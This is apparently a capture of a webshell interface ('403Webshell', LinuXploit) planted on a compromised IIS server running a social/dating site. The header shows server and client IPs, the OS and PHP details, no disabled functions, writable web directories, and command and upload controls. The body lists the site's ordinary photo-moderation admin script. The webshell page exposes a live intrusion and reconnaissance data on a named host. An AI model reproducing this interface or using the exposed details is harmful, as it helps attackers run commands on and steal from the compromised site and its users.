403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/administration/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/administration/users_photo.php
<?php
/* (C) Websplosion LLC, 2001-2021

IMPORTANT: This is a commercial software product
and any kind of using it must agree to the Websplosion's license agreement.
It can be found at http://www.chameleonsocial.com/license.doc

This notice may not be removed from the source code. */

include("../_include/core/administration_start.php");

class CForm extends CHtmlBlock
{

	var $message = "";
	var $login = "";

	function action()
	{
		global $g_options;
        global $p;
        global $g_user;

		$photo = get_param_array("do");
		$comment = get_param_array("comment");
		$redirect = false;

		foreach ($photo as $k => $v){

            Moderator::setNotificationTypePhoto();

			if ($v == 'add' || $v == 'access') {
				/*DB::execute("UPDATE photo SET visible='Y' WHERE photo_id=" . ((int) $k) . "");
				DB::query("SELECT * FROM photo WHERE photo_id=" . ((int) $k) . "", 2);
				if ($row = DB::fetch_row(2)) {
                    $g_user['user_id'] = $row['user_id'];
					DB::execute("UPDATE user SET is_photo='Y' WHERE user_id=" . $row['user_id'] . "");
                    User::setAvailabilityPublicPhoto($row['user_id']);
				}
                $wallId = DB::result('SELECT `wall_id` FROM `photo` WHERE photo_id = ' . to_sql($k, 'Number'));
                if ($wallId) {
                    DB::update('wall', array('params' => 1), '`id` = ' . to_sql($wallId));
                }
                if ($v == 'access') {
                    CProfilePhoto::setPhotoPrivate($k);
                }*/
                User::photoApproval($k, $v);
				$redirect = true;
                Moderator::sendNotificationApproved();
			} elseif ($v == 'del') {
				DB::query("SELECT * FROM photo WHERE photo_id=" . ((int) $k) . "", 2);
				if ($row = DB::fetch_row(2)) {
					deletephoto($row['user_id'], $row['photo_id']);

					$row['comment_declined'] = trim($comment[$k]);
                    Moderator::prepareNotificationInfo($row['user_id'], $row);
				}
				$redirect = true;
                Moderator::sendNotificationDeclined();
			}
		}

		if($redirect) redirect($p."?action=saved");

	}

	function parseBlock(&$html)
	{
		global $g_options;

		$html->setvar("message", $this->message);

		$table = get_param("t", "tips");
		$html->setvar("table", $table);

        $html->setvar('photo_height', Common::getOption('medium_y', 'image'));
        $noPrivatePhoto = Common::isOptionActiveTemplate('no_private_photos');

		DB::query("SELECT * FROM photo WHERE " . CProfilePhoto::moderatorVisibleFilter() . " AND `group_id` = 0 ORDER BY photo_id LIMIT 20");
		$num=DB::num_rows();
		while ($row = DB::fetch_row())
		{
			$row['user_name'] = DB::result("SELECT name FROM user WHERE user_id=" . $row['user_id'] . "", 0, 2);
			foreach ($row as $k => $v)
			{
				$html->setvar($k, $v);
			}

            $html->setvar('photo_m', User::photoFileCheck($row, 'm'));
            $html->setvar('photo_b', User::photoFileCheck($row, 'b'));

            if (!$noPrivatePhoto) {
                if ($row['private'] == 'Y'){
                    $html->setvar('private', l('Private'));
                } else {
                    $html->setvar('private', l('Public'));
                }
                $html->parse('photo_status', false);
                $html->setvar("photo_access", l($row['private']=='N'?'make_private':'make_public'));
                $html->parse('photo_access', false);
            }

			$html->subcond($row['gif'], 'photo_edit_image');
			$html->subcond(!$row['gif'], 'photo_edit_image_1');
			$html->subcond(!$row['gif'], 'photo_rotate');

			$html->parse("photo", true);
		}
		if($num==0){
			$html->parse("msg",true);
		} else {
			$html->parse("photos",true);
		}
		parent::parseBlock($html);
	}
}

$page = new CForm("main", $g['tmpl']['dir_tmpl_administration'] . "users_photo.html");
$header = new CAdminHeader("header", $g['tmpl']['dir_tmpl_administration'] . "_header.html");
$page->add($header);
$footer = new CAdminFooter("footer", $g['tmpl']['dir_tmpl_administration'] . "_footer.html");
$page->add($footer);

$page->add(new CAdminPageMenuUsers());

include("../_include/core/administration_close.php");

Youez - 2016 - github.com/yon3zu
LinuXploit